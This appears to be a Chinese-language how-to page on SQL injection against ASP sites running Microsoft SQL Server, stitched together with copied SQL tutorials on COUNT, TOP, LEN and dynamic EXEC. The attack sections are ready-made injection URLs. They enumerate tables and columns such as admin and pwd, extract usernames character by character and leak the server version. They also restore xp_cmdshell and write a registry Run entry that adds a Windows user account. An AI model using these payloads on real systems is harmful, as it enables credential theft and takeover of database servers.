SQL注入分析

检测诸如点:
Request URI: /***.asp?id=16' and char(124)+user+char(124)=0 and ''='
Request URI: /***.asp?id=16 and 1=1

检测的URL:

Request URI: /***..asp?id=234' and char(124)+user+char(124)=0 and ''='
Request URI: /***..asp?id=234 and char(124)+user+char(124)=0
Request URI: /***..asp?id=234' and char(124)+user+char(124)=0 and '%'='
Request URI: /***..asp?id=234 and 1=1
Request URI: /***..asp?id=234 and 1=2

检测的数据库类型:
Request URI: /***..asp?id=234  and exists (select * from sysobjects)

检测表段:
Request URI: /***..asp?id=234 and exists (select * from [dirs])
Request URI: /***..asp?id=234 and exists (select * from [admin])
Request URI: /***..asp?id=234 and exists (select * from [\273\341\324\261])

检测字段:
Request URI: /***.asp?id=234 and exists (select [paths] from [admin])
Request URI: /***.asp?id=234 and exists (select [pwd] from [admin])
Request URI: /***.asp?id=234 and exists (select [\274\266\261\360] from [admin])
Request URI: /***.asp?id=234 and exists (select [\303\334\302\353\264\360\260\270] from [admin])
Request URI: /***.asp?id=234 and exists (select [username] from [admin])

检测内容:

先检测表有几行
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 99999999
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 16
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 8
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 4
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 2
Request URI: /***.asp?id=234 and (select Count(1) from [admin] where 1=1) between 0 and 0

COUNT() 函数返回匹配指定条件的行数。

SQL COUNT() 语法

SQL COUNT(column_name) 语法

COUNT(column_name) 函数返回指定列的值的数目(NULL 不计入):

SELECT COUNT(column_name) FROM table_name

SQL COUNT(*) 语法

COUNT(*) 函数返回表中的记录数:

SELECT COUNT(*) FROM table_name

SQL COUNT(DISTINCT column_name) 语法

COUNT(DISTINCT column_name) 函数返回指定列的不同值的数目:

SELECT COUNT(DISTINCT column_name) FROM table_name

注释:COUNT(DISTINCT) 适用于 ORACLE 和 Microsoft SQL Server,但是无法用于 Microsoft Access。

SQL COUNT(column_name) 实例

我们拥有下列 "Orders" 表:

O_Id OrderDate OrderPrice Customer
1 2008/12/29 1000 Bush
2 2008/11/23 1600 Carter
3 2008/10/05 700 Bush
4 2008/09/28 300 Bush
5 2008/08/06 2000 Adams
6 2008/07/21 100 Carter

现在,我们希望计算客户 "Carter" 的订单数。

我们使用如下 SQL 语句:

SELECT COUNT(Customer) AS CustomerNilsen FROM Orders
WHERE Customer='Carter'

以上 SQL 语句的结果是 2,因为客户 Carter 共有 2 个订单:

CustomerNilsen
2
SQL COUNT(*) 实例

如果我们省略 WHERE 子句,比如这样:

SELECT COUNT(*) AS NumberOfOrders FROM Orders

结果集类似这样:

NumberOfOrders
6

这是表中的总行数。

SQL COUNT(DISTINCT column_name) 实例

现在,我们希望计算 "Orders" 表中不同客户的数目。

我们使用如下 SQL 语句:

SELECT COUNT(DISTINCT Customer) AS NumberOfCustomers FROM Orders

结果集类似这样:

NumberOfCustomers
3

这是 "Orders" 表中不同客户(Bush, Carter 和 Adams)的数目。


检测值的长度:

Request URI: /***.asp?id=234 and (select top 1 len([username]) from (Select Top 1 [username] from [admin] where 1=1 order by [username]) T Order by [username] desc) between 0 and 4
Request URI: /***.asp?id=234 and (select top 1 len([username]) from (Select Top 1 [username] from [admin] where 1=1 order by [username]) T Order by [username] desc) between 6 and 8
Request URI: /***.asp?id=234 and (select top 1 len([username]) from (Select Top 1 [username] from [admin] where 1=1 order by [username]) T Order by [username] desc) between 4 and 5


检测值的内容:
Request URI: /***.asp?id=234 and (select top 1 asc(mid(cstr(username),4,1)) from (Select Top 2 [username] from [admin] where 1=1 order by [username]) T Order by [username] desc)  between 105 and 111
Request URI: /***.asp?id=234 and (select top 1 asc(mid(cstr(username),4,1)) from (Select Top 2 [username] from [admin] where 1=1 order by [username]) T Order by [username] desc)  between 116 and 116

TOP 子句

TOP 子句用于规定要返回的记录的数目。

对于拥有数千条记录的大型表来说,TOP 子句是非常有用的。

注释:并非所有的数据库系统都支持 TOP 子句。

SQL Server 的语法:

SELECT TOP number|percent column_name(s)
FROM table_name

MySQL 和 Oracle 中的 SQL SELECT TOP 是等价的

MySQL 语法

SELECT column_name(s)
FROM table_name
LIMIT number

例子

SELECT *
FROM Persons
LIMIT 5

Oracle 语法

SELECT column_name(s)
FROM table_name
WHERE ROWNUM <= number

例子

SELECT *
FROM Persons
WHERE ROWNUM <= 5

原始的表 (用在例子中的):

Persons 表:

Id LastName FirstName Address City
1 Adams John Oxford Street London
2 Bush George Fifth Avenue New York
3 Carter Thomas Changan Street Beijing
4 Obama Barack Pennsylvania Avenue Washington

SQL TOP 实例

现在,我们希望从上面的 "Persons" 表中选取头两条记录。

我们可以使用下面的 SELECT 语句:

SELECT TOP 2 * FROM Persons

结果:

Id LastName FirstName Address City
1 Adams John Oxford Street London
2 Bush George Fifth Avenue New York

SQL TOP PERCENT 实例

现在,我们希望从上面的 "Persons" 表中选取 50% 的记录。

我们可以使用下面的 SELECT 语句:

SELECT TOP 50 PERCENT * FROM Persons

结果:

Id LastName FirstName Address City
1 Adams John Oxford Street London
2 Bush George Fifth Avenue New York



LEN() 函数

LEN 函数返回文本字段中值的长度。

SQL LEN() 语法

SELECT LEN(column_name) FROM table_name

SQL LEN() 实例

我们拥有下面这个 "Persons" 表:

Id LastName FirstName Address City
1 Adams John Oxford Street London
2 Bush George Fifth Avenue New York
3 Carter Thomas Changan Street Beijing

现在,我们希望取得 "City" 列中值的长度。

我们使用如下 SQL 语句:

SELECT LEN(City) as LengthOfCity FROM Persons

结果集类似这样:

LengthOfCity
6
8
7

显示SQL系统版本: 

 and 1=(select @@VERSION) 

and 1=convert(int,@@version)--

服务器: 消息 245,级别 16,状态 1,行 1
将 nvarchar 值 'Microsoft SQL Server  2000 - 8.00.2039 (Intel X86)
    May  3 2005 23:18:38
    Copyright (c) 1988-2003 Microsoft Corporation
    Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)
' 转换为数据类型为 int 的列时发生语法错误。


 判断xp_cmdshell扩展存储过程是否存在:

and 1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')

恢复xp_cmdshell扩展存储的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetput\web\xplog70.dll';--

动态SQL EXEC

http://www.cnblogs.com/Junelee1211/archive/2011/08/25/2153024.html

1、EXEC命令的括号中只允许包含一个字符串变量,或者一个 字符串文本,或者字符串变量与字符串文本的串联。不能再括号中使用函数或CASE表达式,如下面尝试在括号中调用QUOTENAME函数以引用对象名称,运行将失败:

 

   1:  DECLARE @schemaname NVARCHAR(255),@tablename NVARCHAR(128)
   2:  SET @schemaname='dbo'
   3:  SET @tablename='Order Details'
   4:   
   5:  EXEC (N'SELECT COUNT(*) FROM '+QUOTENAME(@schemaname)+N'.'+QUOTENAME(@tablename)+N';')

上述代码将会产生如下错误:

消息 102,级别 15,状态 1,第 5 行
'QUOTENAME' 附近有语法错误。
SQL Server 分析和编译时间:
   CPU 时间 = 0 毫秒,占用时间 = 0 毫秒。

SQL Server 执行时间:
   CPU 时间 = 0 毫秒,占用时间 = 0 毫秒。

所以做好的方法是把代码构造到一个变量中,这样就不会受限制了,然后再把该变量作为EXEC命令的输入参数,就像这样:

   1:  DECLARE @schemaname NVARCHAR(255) ,
   2:      @tablename NVARCHAR(128) ,
   3:      @sql NVARCHAR(MAX)
   4:  SET @schemaname = 'dbo'
   5:  SET @tablename = 'Order Details'
   6:  SET @sql = N'SELECT COUNT(*) FROM ' + QUOTENAME(@schemaname) + N'.'
   7:      + QUOTENAME(@tablename) + N';'
   8:  EXEC (@sql)

 

2、EXEC不提供接口。EXEC(<string>)不提供接口。它唯一的输入就是包含你要调用代码的字符串。动态批处理不能访问在调用批处理中定义的局部变量。如下面代码尝试访问定义在调用批处理中的变量将失败。

   1:  DECLARE @i INT 
   2:  SET @i = 10248
   3:   
   4:  DECLARE @sql NVARCHAR(MAX)
   5:   
   6:  SET @sql = 'SELECT * FROM dbo.Orders WHERE OrderID=@i;'
   7:  EXEC(@sql)

将产生如下错误:

消息 137,级别 15,状态 2,第 1 行
必须声明标量变量 "@i"。

 

使用EXEC时,如果想访问变量,必须把变量内容串联到动态构建的 代码字符串中。

DECLARE @i INT 
SET @i = 10248

DECLARE @sql NVARCHAR(MAX)

SET @sql = 'SELECT * FROM dbo.Orders WHERE OrderID='
    + CAST(@i AS NVARCHAR(10)) + ';'
EXEC(@sql)

这样就没有问题了。

 

如果一个变量包含字符串,把该变量的内容串联到代码将会导致安全风险(SQL注入),为了避免SQL注入,可以吧字符串大小限制为所需的最小长度。当然,实际中这种情况根本不需要动态SQL直接执行SQL语句就可以,这个示例只是为了演示。

 

串联变量的内容存在性能方面的弊端,SQL Server将为每个唯一的查询字符串创建新的即席执行计划,即使查询模式相同也是这样的。为演示这一点,先清空缓存中的执行计划。

DBCC FREEPROCCACHE
将上端代码执行三次,分别为@i赋值10248,10249和10250,然后使用下面的代码查询
   1:  SELECT  cacheobjtype ,
   2:          objtype ,
   3:          usecounts ,
   4:          sql
   5:  FROM    sys.syscacheobjects
   6:  WHERE   sql NOT LIKE '%cache%'
   7:          AND sql NOT LIKE '%sys.%'

得到查询结果:

 

cacheobjtype    objtype    usecounts    sql
Compiled Plan    Adhoc    1    SELECT * FROM dbo.Orders WHERE OrderID=10250;
Compiled Plan    Adhoc    1    SELECT * FROM dbo.Orders WHERE OrderID=10248;
Compiled Plan    Prepared    3    (@1 smallint)SELECT * FROM [dbo].[Orders] WHERE [OrderID]=@1
Compiled Plan    Adhoc    4    SET STATISTICS IO ON SET STATISTICS TIME ON
Compiled Plan    Adhoc    1    SELECT * FROM dbo.Orders WHERE OrderID=10249;
Compiled Plan    Adhoc    4    SET STATISTICS IO OFF SET STATISTICS TIME OFF

 

EXEC除了不支持动态批处理中的输入参数外,也不支持输出参数。默认情况下,EXEC把查询输出返回给调用者。如果你想把输出结果返回给调用批处理中的变量,事情就没那么简单了,为此,你需要使用INSERT EXEC把输出插入到一个目的表,然后再从该表中取值,赋给该变量,就像这样:

 

   1:  DECLARE @schemaname NVARCHAR(128) ,
   2:      @tablename NVARCHAR(128) ,
   3:      @colname NVARCHAR(128) ,
   4:      @sql NVARCHAR(MAX) ,
   5:      @cnt INT
   6:      
   7:  SET @schemaname = 'dbo'
   8:  SET @tablename = 'Orders'
   9:  SET @colname = 'CustomerID'
  10:       
  11:  SET @sql = N'SELECT COUNT(DISTINCT ' + QUOTENAME(@colname) + ') FROM '
  12:      + QUOTENAME(@schemaname) + N'.' + QUOTENAME(@tablename) + N';'
  13:      
  14:  CREATE TABLE #T1 ( cnt INT )
  15:  INSERT  INTO #T1
  16:          EXEC ( @sql
  17:              )
  18:  SELECT  @cnt = cnt
  19:  FROM    #T1
  20:  SELECT  @cnt
  21:  DROP TABLE #T1

3、在SQL Server2000中串联变量值时,EXEC比sp_executesql多一个优势,它支持更长的代码,尽管技术上sp_executesql的输入代码字符串是NTEXT类型的,但你一般是在局部变量中构造代码字符串。而你又不能用大型对象类型声明局部变量,所以,实际上在sp_executesql中执行的查询字符串被限制为Unicode字符串(NVARCHAR)支持的最大长度4000,而EXEC支持常规字符串(VARCHAR)允许最大8000个字符。另外EXEC还支持一个特殊的功能,它允许你在括号中串联多个变量,每个变量都支持8000个字符的长度。

在SQL Server2005中,就不用这么纠结了,因为可以为EXEC命令提供一个VARCHAR(MAX)或NVARCHAR(MAX)的变量作为输入,输入字符串可以达到2GB大小

分类: SQLServer


5、   向启动组中写入命令行和执行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'

6、   查看当前的数据库名称:
?   http://192.168.1.5/display.asp?keyno=188 and 0<>db_name(n) n改成0,1,2,3……就可以跨库了
?   http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 编译器错误 错误 '800a03f6' 
缺少 'End' 
/iisHelp/common/500-100.asp,行242 
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int. 
/display.asp,行17

7、   列出当前所有的数据库名称:
select * from master.dbo.sysdatabases   列出所有列的记录
select name from master.dbo.sysdatabases 仅列出name列的记录

你可能感兴趣的:(sql,sql,server,Microsoft,table,sqlserver,statistics)